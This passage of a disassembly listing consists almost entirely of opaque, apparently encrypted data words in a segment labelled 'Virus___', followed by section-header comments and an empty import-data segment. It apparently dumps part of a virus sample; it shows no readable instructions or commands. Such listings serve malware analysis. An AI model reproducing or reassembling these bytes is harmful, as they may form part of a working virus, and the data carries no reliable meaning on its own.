0E407473h, 88B2F0E1h, 50BD7E3Fh, 8EF62F85h, 63B0D4D9h dd 0E6B89900h, 0E43736Ah, 74B2F0E1h, 0DE1F147h, 6C2CCBC6h dd 0FBBE1AFCh, 0E407B6Ah, 0D0B2F0E1h, 22C0FFD3h, 57E1F0E1h dd 50298961h, 202AB073h, 0DE1F8C9h, 0E5095E1h, 0BA76F0E1h dd 5C8FCBAh, 2A10C26Dh, 809F82E6h, 224575Ah, 0E438982h dd 3DE7F0E1h, 0DD45ACD0h, 0D914B267h, 0F3D42318h, 0E5188BAh dd 777BF0E1h, 0ADD7A365h, 38A5651Dh, 3FB0C2Ch, 0C0474A59h dd 0E467C6Ah, 7469F0E1h, 0CAEFF0D2h, 0DE1F045h, 43244026h dd 8A2B86B1h, 8983D714h, 29DE2E9Fh, 45B214A4h, 0E3A88B1h dd 0F401F0E1h, 7C66F56h, 70A2E1CCh, 0DE1F4A9h, 0AA4775E1h dd 0BC283BE2h, 0D03DF8C8h, 1B016A44h, 6EA105B2h, 8E82B073h dd 0E3CA7A2Bh, 98B21127h, 0DE1F0DBh, 37379360h, 8EA26FA9h dd 701B2405h, 8C15840h, 0E407473h, 88B2F0E1h, 0A07AAFD3h dd 6AB2FA83h, 0DE1F175h, 2F34713Bh, 0D0B21012h, 9CA0E5D7h dd 0E509634h, 3B36F0E1h, 0F65D78D9h, 68048AA4h, 1DB1293Ch dd 0C781FAC9h, 0D3BE19B9h, 0E2F766Ah, 0CCABF0E1h, 0ABB72DB5h dd 38C008A5h, 1294A640h, 0F732F34Ch, 20E1F0E1h, 0DE1F0BCh dd 0F80F38E1h, 0A7E1F0E1h, 100D4FF3h, 0D0B1CA23h, 3B81ACEh dd 580B0144h, 70A21939h, 5D326740h, 0CB13ADCFh, 0DE1F045h dd 0BFBC7EEAh, 4800C19Dh, 1EC63F16h, 4FF2E3E7h, 0B4FE30EBh dd 0A39AB8C6h, 57E805A3h, 0A3A585CFh, 20500BA8h, 0DBABF092h dd 0D0B23578h, 0FEB81B6Eh, 0C8CB6016h, 276E19AAh, 0DA795D8h dd 5361F0E1h, 8CA3B730h, 0BCCE5AD0h, 98BC7502h, 0DE1F13Eh dd 6D31B06Ah, 0DE1F9A6h, 22ECADE1h, 1A09D538h, 0FDBE1A40h dd 208C673Bh, 0DE200C3h, 0E3895E1h, 0B9B9F0E1h, 0F3C4018Bh dd 5BA31DC8h, 0D7D9660h, 3BB6F0E1h, 243D5A0Ah, 9DBE8911h dd 72F364D3h, 6D92B073h, 4B055840h, 0E52891Bh, 4220F0E1h dd 5B906DEBh, 59CD563Dh, 0E6178C71h, 7B864323h, 3B81A41h dd 88B2DF86h, 23BE000Fh, 6BE1F0E1h, 0E3E95D8h, 6416F0E1h dd 0F2083E4h, 0BA6DE118h, 57BD6B27h, 0DB119ECFh, 3EB582B5h dd 0F1C3F31Fh, 0D5E1F0E1h, 0DE1F13Dh, 0FD74BCE2h, 1EE58B13h dd 9682EBD3h, 580F1141h, 0E658F536h, 99A5FC38h, 0EFB81A26h dd 57339EBCh, 0A9D09161h, 0DE1FAA8h, 0CE829FE1h, 5EC62D5Eh dd 452A6740h, 2085B073h, 0CCAB8F9Ah, 5E6F9B2Dh, 2FBAF341h dd 20E1F13Eh, 0DE1F8BCh, 0E5095E1h, 10A9F0E1h, 1B0B26A1h dd 0EB3F2FA1h, 6C4486C8h, 54252FC4h, 437A7054h, 4C8FC161h dd 0F61828D1h, 0ABE1F0E1h, 6644C9F1h, 6723AC92h, 0D5316740h dd 0DE1F14Fh, 0CCE1F315h, 1D74C7B7h, 0D2C10402h db 4Ah, 38h word_5B1E8E dw 0A39Ah ; DATA XREF: Virus___:0056D896r dd 8D332FD2h, 0D60ACCD9h, 0DE1F16Ah, 67640F4Ah, 797CFC86h dd 0EC9A38DCh, 5785C615h, 463EA936h, 0CB160FC3h, 0DE1F071h dd 28D816BBh, 0CA589F65h, 75FD8A3Bh, 678AC04h, 502B6FBAh dd 5EB86141h, 4560ADBEh, 578BB073h, 69ABBFCFh, 0D8BE1ACEh dd 8E8C6740h, 3FF11C1h, 69B2E646h, 0DE1F175h, 0AEBAB636h dd 88BC98B0h, 0F0B81AA0h, 88BC8F37h, 209B7451h, 0DE1D65Bh dd 0F11910E1h, 40E1F0E1h, 19624509h, 50EF6CA5h, 0CC34D4B4h dd 96F91555h, 46482E1Fh, 0DE1E8A9h, 48746DE1h, 0EBE9636Eh dd 0F7101191h, 0A5E1F0E1h, 9F129567h, 88B2105Ah, 0D09B1E08h dd 30755088h, 0D0BE5538h, 0E0B819EFh, 88B2ECA5h, 7FEDB02Ah dd 496F1D63h, 8E3F92CCh, 0CB14AFD4h, 0DE1F00Eh, 20E1CEB6h dd 0BA85DA5Dh, 65BF623Fh, 0BA9B0E82h, 7B8E0802h, 0C043BF61h dd 0FBBEEE00h, 0EF3CA23Bh, 1D1A9BE4h, 6AE1F0E1h, 798A5A21h dd 7AE03E48h, 0DDEFDECDh, 1B0D2EADh, 1D0F4041h, 0CCE1F0E1h dd 57FFEE6Ah, 0F3BB6DB5h, 863D0BC1h, 4655370Eh, 6E97CBCFh dd 7A187140h, 1D0A117Fh, 5808AD9Ah, 0D5831F34h, 0DE1F13Dh dd 0A7C529ABh, 5008E76Ch, 53C2D9C9h, 0EA191076h, 0C9E1F0E1h dd 1520BA82h, 368D5B0Ah, 5A7773DAh, 399470B0h, 6D46908Ah dd 0D59C7659h, 0DE1F143h, 0DF8E7E46h, 9E339D13h, 1791AFAFh dd 0EA1A7FC0h, 86E1F0E1h, 671AFD65h, 0C41AAD9Ch, 947786CDh dd 216F1A56h, 0E6BE1AF1h, 0E45746Ah, 0D7C0F0E1h, 99970DD4h dd 0DE1E7A9h, 393B05E1h, 505C92AFh, 0E407373h, 69ABF0E1h dd 1DA10476h, 0DE1EF5Bh, 0D69810E1h, 0DE1F174h, 8533185Fh dd 1D98033Dh, 0DE1FCC6h, 0E26F1AE1h, 0C762F35Ah, 0D0BCA7C6h dd 0E4B73F03h, 1DFD982Ah, 0EB9F359h, 0E5E1F0E1h, 0B38A713Bh dd 8D621B30h, 28FC762Fh, 0CC8D5940h, 6E200FBAh, 0E417473h dd 0FF70F0E1h, 0D7D8941h, 0F0E4F0E1h, 8E486026h, 0C7125BFBh dd 644EE686h, 0E427E73h, 6E2DF0E1h, 9CFC6740h, 0E448950h dd 0B5B9F0E1h, 30080FC8h, 0F41840E0h, 21E1F0E1h, 457C9C16h dd 334A25EDh, 2DC824DEh, 0B6E8F431h, 6D0A940Bh, 86B581Fh dd 201917A5h, 0FCE1F0E1h, 0BDB14CCEh, 3491761Ah, 77865994h dd 0E4B81C88h, 7D422E8Dh, 0D6317154h, 698FD128h, 1D183F31h dd 0EFE1F0E1h, 3ECD5C64h, 25ABD47Fh, 0B3D2515h, 1D1650ABh dd 0DE1F0C9h, 6908F6E1h, 0FD6F1AD8h, 0C8BD4AA3h, 0D57A70BAh dd 212FE8AFh, 0DE1FDBDh, 78C1E4E1h, 8DF60C39h, 0CBA2A29Fh dd 0DE1F16Ah, 0B80C67BAh, 0EEF7AB66h, 1C82636h, 57EEFAD4h dd 0ECE5AC61h, 0CAEA7738h, 5871E3DCh, 7BB93834h, 0FB887140h dd 0EBAFFA9h, 0E6E1F0E1h, 8220BE60h, 69C13DBEh, 6E4F6E43h dd 460D3F1Bh, 0DE20BA9h, 0F8AE94E1h, 44103945h, 90D14FF5h dd 30C17604h, 0F0A9476h, 0C8809741h, 0A3ABDA15h, 6EDA78A8h dd 0DB9F31Bh, 45E1F0E1h, 8885B073h, 21B90046h, 5EE1F0E1h dd 1D023857h, 0FECBB492h, 6E395E9Fh, 0DE1FEA6h, 0E0EE5AE1h dd 0EA8DE508h, 5E71D866h, 0E2A34657h, 0D569098Bh, 0DE1F070h dd 0EF830E9Fh, 575DE627h, 30E19F7Bh, 4A669556h, 0CB0EF6E3h dd 0DE1F149h, 0FB89F1BEh, 0FD5F3BBh, 20946740h, 0DE1FBC3h dd 0D362FFE1h, 0A316E3C6h, 54AE6903h, 0FFBE37E8h, 0DE1FFA9h dd 0D11680E1h, 0C3D1A886h, 138FA043h, 0CD8365E1h, 68FB8936h dd 699A3885h, 497FB078h, 0A1B14BE2h, 0DE1F147h, 0CDA5A9CFh dd 0EA1A5F25h, 0FE1F0E1h, 49BB7401h, 0B2359F07h, 69F1780Fh dd 0F50F384Ch, 0E5E1F0E1h, 4989427Ah, 8E618943h, 0D8924C08h dd 208066AAh, 0DE1F161h, 0DA795E1h, 0FE07F0E1h, 26478A5Eh dd 9C50E795h, 546D7FCFh, 584CF166h, 584CDDA3h, 545C8361h dd 0DA7896Ah, 0E1BEF0E1h, 0BDD0E1E6h, 3EF724A0h, 0E92344FDh dd 0A6E1F0E1h, 0BB86FF83h, 1344FEB9h, 1DAAE219h, 0DE1F160h dd 330202E1h, 1D0DA0CFh, 0F9CBAC92h, 0E3887ACh, 283AF0E1h dd 0CB979D54h, 43B889E1h, 453675F8h, 0A524B4BEh, 42329D3Bh dd 871C3839h, 0ABBF1019h, 5E0583Bh, 18621A40h, 0B362F315h dd 7BBD7657h, 0DE1F1A9h, 8CC5CDE1h, 0ECBED503h, 4A907EA6h dd 0D0B2FF3Dh, 88217E50h, 2142B27Fh, 0DE1F3BDh, 0E4595E1h dd 55A3F0E1h, 73207FE6h, 77A7140h, 0E56B0093h, 9608AF33h dd 0D6896713h, 0DE1F13Dh, 0D9EB4D50h, 0F3880990h, 50809A27h dd 0E46966Ah, 8C40F0E1h, 0D65CA7A9h, 0DE1F149h, 491C5F6Fh dd 0AC0B1EDEh, 4585CB61h, 0ED797140h, 2848A1A5h, 8EB23DD1h dd 0DE1F172h, 0DBC8857h, 7DB9F0E1h, 9930E2FBh, 7D5C1EA4h dd 0D7B7DA90h, 8E020F9Eh, 0CBAB67CCh, 0DE1F017h, 67AD79D6h dd 1143495Dh, 13983559h, 0CD9FA2CDh, 6E28E6EDh, 0CCABE2CFh dd 0D26127DDh, 0C5BE1AE1h, 0DE1E7A8h, 0EB13F9E1h, 0AED4C006h dd 573BB06Ah, 0D0C1E3CFh, 12902EF7h, 0A39B1E76h, 202D9D0Fh dd 0DE1EEBEh, 579573E1h, 586F9E36h, 6E50E3A3h, 562B581Eh dd 956211A4h, 6EF4A781h, 3D075940h, 596E1A41h, 8E376BCAh dd 9CBC89C0h, 0DE1F174h, 0C4DD713Bh, 0D462F2B6h, 0E42676Ah dd 0D634F0E1h, 0DE1F122h, 20E8A780h, 209D7410h, 0DE1FBF4h dd 0FEBE1AE1h, 788713Bh db 5Fh, 7Eh, 84h dword_5B243B dd 0E71F3270h db 57h dd 695D9839h, 0DBF000Bh, 6BE1F0E1h, 699B10D5h, 22AFFFFCh dd 57E1F0E1h, 0A6DF8761h, 0F4CBF340h, 57E1F0E1h, 0FCC2ADCFh dd 54B2A6E9h, 55E7B36h, 0E528677Dh, 8E95673Bh, 9ED6CCEh dd 0DF62F321h, 0E54736Ah, 0F318F0E1h, 95E1F0E1h, 74AD67F9h dd 0D8B74A03h, 8EFA0A73h, 1B68056Fh, 0DFBE1A18h, 0DE20DA9h dd 0D33EF1E1h, 5476DBF8h, 0AD5A01BFh, 44A2B980h, 256F2141h dd 7BED5736h, 0DE1FAA9h, 8FDAF6E1h, 6D1A65F1h, 0DE20DA6h dd 7CCB6AE1h, 0A18D4937h, 2C5557B4h, 0A23F7BCAh, 0A3BCAF46h dd 0DE1F0E1h, 2061F31Fh, 0D6E1F0E1h, 0DE1F14Fh, 27DF325Ah dd 0AA1AFF02h, 0A6A03153h, 9A203983h, 0A3B26C41h, 0AD9722A7h dd 9D691188h, 58479BC0h, 0AB7BAC61h, 0E4AB8239h, 0F83CF38Bh dd 20E1F0E1h, 0DE1FE5Bh, 0A0B2E5E1h, 0DE1F13Eh, 8E8A673Bh dd 8B6A7C32h, 0CEBE1A1Bh, 0DBC696Ah, 0EB18F0E1h, 27E1F0E1h dd 48B81A96h, 41652723h, 0F0BD3FAAh, 22C3F356h, 0D0E1F0E1h dd 8098E001h, 0B8A711Eh, 6C42CA65h, 0D6111D9Ch, 0DE1F070h dd 5015B003h, 1B09C3A6h, 71D24617h, 87D471EAh, 0E43893Dh dd 5A47F0E1h, 0E161F5F5h, 7C0E3FC3h, 0DA621A56h, 2B6F1A9Ch dd 0A39B10C4h, 209031AFh, 0DE1FDCFh, 1DA0E4E1h, 0DE1F160h dd 1B62FFE1h, 0DE20DA8h, 0B1C9FFE1h, 9ED8857Dh, 2B1A35D6h dd 0ABD70FF7h, 0EA1A8283h, 0D7E1F0E1h, 19978038h, 0D7E15BA2h dd 373AE3Eh, 9A2FA63Bh, 0DC40078h, 9CE1F0E1h, 0CBB81AFEh dd 0EB18C56Bh, 5CE1F0E1h, 0C5B60AC4h, 0BC651084h, 22B8FFCFh dd 0DBE1F0E1h, 24142272h, 0E3E766Ah, 0F518F0E1h, 56E1F0E1h dd 406C4557h, 28D92079h, 7C335873h, 580C97BEh, 0F1E0CB61h dd 0E417D6Ah, 977BF0E1h, 0C494A33Bh, 942F3939h, 0E45890Ch dd 5A56F0E1h, 6BBA91E2h, 201A5511h, 0E3E1F0E1h, 0D1140848h dd 3153BDAEh, 18A2278h, 0D0B2EBC6h, 21BEFFA0h, 5DE1F0E1h dd 0CB0F111Eh, 0DE1F16Ah, 0B64AEB19h, 400B2633h, 0E49DC2B0h dd 6BE4F0D8h, 0E389635h, 1E15F0E1h, 7E83B0BDh, 23B9D4F5h dd 0F7B9005Fh, 8EE1F0E1h, 0C4930BAFh, 0FF8B708Bh, 578D676Dh dd 362E2CFh, 0D6A227B1h, 0DE1F146h, 299F4774h, 4E28FFFh dd 0D668336Dh, 0DE1F146h, 0F11B3691h, 2689B266h, 6F310254h dd 23BAF34Ch, 28E1F0E1h, 74B1F759h, 0DE1F0E1h, 0DE1FFA8h dd 72544BE1h, 0B0BB58D1h, 595214h, 57C003E1h, 0D5945873h dd 0DE1F070h, 0D1752B84h, 1E6CA2DCh, 11217404h, 16BD9226h dd 9FB20606h, 0DE1F175h, 111CA63Bh, 0E407273h, 0B161F0E1h dd 0D7D88DDh, 50E4F0E1h, 0DFAAB969h, 3B6E08D2h, 0BD580CF1h dd 0E41696Ah, 0C8BEF0E1h, 0E42806Ah, 6D29F0E1h, 0E438857h dd 0FC8FF0E1h, 37D71D3Fh, 700D7A51h, 0B7691A41h, 0E50895Eh dd 0A3A2F0E1h, 520E9308h, 0BB1C3B42h, 0E7138B91h, 228911E9h dd 0EBF005Dh, 0E5E1F0E1h, 0F7BAF356h, 8EE1F0E1h, 0AD471F9Bh dd 0E3888B4h, 0B3EBF0E1h, 0F5D5F202h, 0FD0F1166h, 57307411h dd 0A14BB361h, 572C586Ah, 1D0AB7CFh, 0A313769Ah, 0F4F522D3h dd 0B916A5CBh, 0A660026Ah, 78972627h, 9E8DCB61h, 6C2D116Dh dd 0A39B1E07h, 0D61EB0CEh, 0DE1F143h, 33FA3C04h, 0C1915D4Eh dd 16F2647Ch, 0C0751939h, 0B784713Bh, 0D8947E06h, 0A6E0D9D0h dd 4F1870B7h, 8C92711Eh, 6EE4168Fh, 0DFB81B25h, 0A3AB3D72h dd 1BB0C330h, 0B292C139h, 20967612h, 0F41A9892h, 18E1F0E1h dd 30A77AF3h, 883F99BCh, 97D9E54Ah, 0CE741AC7h, 0D0BC85A2h dd 0E462FFD2h, 0DE20DA8h, 6F7B08E1h, 93F7F472h, 36214392h dd 389C37B6h, 88BC8A81h, 0D0B14A9Bh, 699B063Fh, 266F1B04h dd 5732677Dh, 214EAD38h, 0E1CB979Ah, 0E4395D2h, 4A0AF0E1h dd 3A91F4A4h, 0F118FB2Dh, 35E1F0E1h, 2C398D7Bh, 0D9E70B16h dd 9CE7FCF2h, 0F4CEC010h, 1AFAC9CBh, 0D6343B0Bh, 0DE1F143h dd 0DAF1CE8Dh, 0F9554DD1h, 978BF195h, 0F71A8021h, 18E1F0E1h dd 0A556DF6h, 0CBB819B7h, 1F1AACDCh, 0CCE1F0E1h, 638C0CC4h dd 21C89343h, 0F621084Bh, 0E68D7404h, 0F71A85CFh, 12E1F0E1h dd 0B8C0ECEDh, 0E52881Ch, 0D5B2F0E1h, 35C68A37h, 0AD5975FDh dd 0ADA9AD0Fh, 0D6DE4DD0h, 0DE1F017h, 76278866h, 488274E6h dd 0E54FEDE3h, 0DECA4BFDh, 1D02D080h, 0DE1F0F5h, 0E3F95E1h dd 7B59F0E1h, 0FF0B36Bh, 28092EA8h, 5B45D995h, 17BD8D45h dd 88BC72A4h, 0F73D0077h, 5EE1F0E1h, 0D5685940h, 8D7F7053h dd 0F171A63Bh, 0DE20CA8h, 535608E1h, 2ED44DEh, 6D702ED9h dd 86A301DEh, 86C58D0Dh, 0E4BF0FDFh, 0E7B81A40h, 0D6CB61D2h dd 0CF316788h, 0F4461B55h, 0CB0AAD57h, 0DE1F017h, 0C7A81842h dd 0C23B7CA6h, 7D7B1DB7h, 4F0F83B5h, 6EC20A28h, 0E724B661h dd 0F81A0C6Bh, 55E1F0E1h, 54F1379Ah, 8313C17Dh, 0D09B1E79h dd 69ABCEB3h, 23B00006h, 9CE1F0E1h, 1C6B0078h, 6E621A41h dd 0A98170F3h, 1C7C6A40h, 0DE20BBEh, 0EACBFFE1h, 0D5E1F0E1h dd 0DE1F122h, 96C9A671h, 6CC9149Ch, 0A5315873h, 3DFB6016h dd 0DE1F4A9h, 0C4A8C3E1h, 0D081DCB1h, 1590CB09h, 0A2B14DA7h dd 0DE1F174h, 0AC85713Bh, 7D760386h, 0D1E05840h, 2D94713Bh dd 57917E7Bh, 20E30215h, 0DE1EEF5h, 21566BE1h, 0DE1FBC3h dd 0F062FFE1h, 0E448841h, 1D8F0E1h, 0A8D4ECE4h, 1CFFE4BDh dd 0DE1FBCFh, 0F06AFFE1h, 0CCB76040h, 2A50DC5Ch, 0EEA9A061h dd 0D62D2082h, 0DE1F143h, 37CB571Ch, 39A6963Bh, 606D9A6Bh dd 69A5700Ch, 0E9C7006Ch, 20E1F0E1h, 0DE1FABDh, 0DC4FFE1h dd 57E1F0E1h, 0F31AC0CFh, 0D6E1F0E1h, 0F1A91772h, 0D5FA6DA5h dd 1F7F7DEDh, 0C0CC1EA8h, 0D3BE1B8Dh, 6C2B713Bh, 76BCACAAh dd 0DE1F13Eh, 20D1A761h, 0DE1F3A2h, 0E4595E1h, 0C03CF0E1h dd 8DA7E785h, 0DE1F9A8h, 8A0302E1h, 0EB19DDCFh, 81E1F0E1h dd 5CAE302Bh, 0E0C467F3h, 0EFBE1B8Eh, 0E50891Fh, 2762F0E1h dd 0F143693Ch, 0E44BB045h, 0A832D6F2h, 1F0E8E04h, 0EBAFFC7h dd 0E6E1F0E1h, 2080586Ah, 0DE1F561h, 0E4495E1h, 8DAEF0E1h dd 8FBD64B5h, 0F7C3FFC9h, 8EE1F0E1h, 0D02DC16Eh, 0DBC8923h dd 0EA54F0E1h, 0A53A05F4h, 6C5598F5h, 2EFA2B77h, 5F2470E7h dd 69A7FA40h, 831A7DFCh, 0A7CF5827h, 0CDB81A14h, 76B2F0A6h dd 0DE1F174h, 0D68A713Bh, 18B00034h, 20E1F0E1h, 0DE1FDC6h dd 88B2E5E1h, 0E4B81AA0h, 8DBC94B0h, 0DE1F149h, 0E41766Ah dd 87D1F0E1h, 0DB16B961h, 572908C1h, 0BF463434h, 0E398901h dd 0A82CF0E1h, 0AAB199AEh, 0D8D76C7Ch, 0E4B6F6Ah, 0D0B2F0E1h dd 0FD6AFF9Bh, 8535713Bh, 30601A21h, 0CE62F2E6h, 0D617ACCFh dd 0DE1F045h, 0BC4C34B5h, 5C7F3AF6h, 79D40291h, 8ED830Ch dd 0BAAD569Dh, 0E90F3F41h, 1AE1F0E1h, 435DEA20h, 0BEF61889h dd 6D900F02h, 69084B1Eh, 0CB981DFCh, 0DE1F122h, 68204CB2h dd 0D5925202h, 0DE1F045h, 0E817876Dh, 39EE1700h, 0AB0C60BFh dd 3F19BA9Dh, 0EE0A7BECh, 0B0B3AE60h, 1D0E152Dh, 0D9A58392h dd 0A0BC5DE4h, 0DE1F13Eh, 0BE79673Bh, 18C4FFC7h, 20E1F0E1h dd 0DE1FDC9h, 0DFBEE4E1h, 7B8675B0h, 0B0BD7140h, 0C7B8AD26h dd 0FDBE19B2h, 5F155856h, 69B2F58Bh, 0DE1F13Eh, 0DE1F1A8h dd 171666E1h, 887E6B97h, 97AD3DBEh, 1D117E1Bh, 0DE1FBC7h dd 389570E1h, 9D476D58h, 0BE8273D3h, 0E4395C7h, 0E59AF0E1h dd 11C3E67h, 78C1FD58h dd 1D1482CFh, 0DE1F0BEh, 0CB9738E1h, 0DE1F174h, 6D5C0EB2h dd 0E45894Ah, 9F7AF0E1h, 73964C69h, 0BE9B6740h, 2218E41Eh dd 34E1F0E1h, 0BE80099Eh, 0A47A973Bh, 74BCBBC6h, 0DE1F174h dd 0A2D0DFFFh, 6D8A6E85h, 0D0B21E6Ah, 0F619114Bh, 0A3E1F0E1h dd 251E18Dh, 64590347h, 0E4B7E73h, 1CFFF0E1h, 0DE1FBBEh dd 0FC62FFE1h, 19BD7140h, 0CBA2AE63h, 0DE1F148h, 0E8DE13D9h dd 713588Dh, 0E3E8987h, 3FF4F0E1h, 0C1B4BD8Fh, 8BFCE497h dd 8ED8AEBDh, 0E7996E31h, 0E46881Fh, 1C15F0E1h, 47DEEE63h dd 7B0ABBCFh, 0E4B7173h, 6D34F0E1h, 0E457373h, 0E0C0F0E1h dd 4162918Bh, 2C435636h, 0D99B10ACh, 977575C4h, 0E44806Ah dd 0E7C1F0E1h, 2DE8593Bh, 20187641h, 20239F92h, 0BEE1F0E1h dd 0FF505C19h, 4DCBF5E9h, 0FDE4BAEh, 0EFB732C7h, 4788EA7Bh dd 7C0F354h, 0D5E1F0E1h, 0DE1F13Ch, 0DF438731h, 30A37D5Eh dd 2A26AA03h, 0F62F2B7h, 0CBA11059h, 0DE1F14Fh, 9AED9A3Dh dd 2023E791h, 0A1B21AEFh, 0DE1F0E1h, 0AC62F340h, 0D5B81A40h dd 0DE61E281h, 0E4B81AA1h, 0E73D419h, 0E5E0D81Dh, 0DA78941h dd 7600F0E1h, 0A8A41EE0h, 0BF9C989Eh, 1F23AD3Dh, 97E1F0E1h dd 1BBA6540h, 17A02360h, 1A71706Bh, 319801E3h, 834A61Eh dd 0D09B1A81h, 6DA27385h, 0DE200A9h, 6205C8E1h, 0F6E54DDEh dd 0B2F8D19Bh, 21C63577h, 0E458993h, 0DDAAF0E1h, 0E82D45BEh dd 0FCB81A59h, 74B1B7A7h, 0DE1F13Eh, 0CC9B673Bh, 13FFh dup(0CCCCCCCCh) dd 0CCCCCCh, 88h dup(0) Virus___ ends ; Section 5. (virtual address 001B8000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001B8000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5B8000h dd 80h dup(0) dd 328h dup(?) db ? dword_5B8EA1 dd ? align 200h _idata2 ends end start